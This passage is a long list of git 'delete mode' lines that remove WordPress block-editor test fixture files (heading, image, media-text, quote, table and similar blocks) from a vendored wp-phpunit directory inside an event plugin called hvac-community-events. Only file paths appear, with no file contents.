wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2-em.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__heading__h2.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__html.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__attachment-link.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__center-caption.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__custom-link.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__image__media-link.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-Capitals.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__invalid-special.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-comments.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__latest-posts__displayPostDate.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__list__ul.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__shortcode.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__spacer.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__subhead.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__table.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text-columns.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.parsed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.serialized.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__text__converts-to-paragraph.server.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__verse.json delete mode 100644 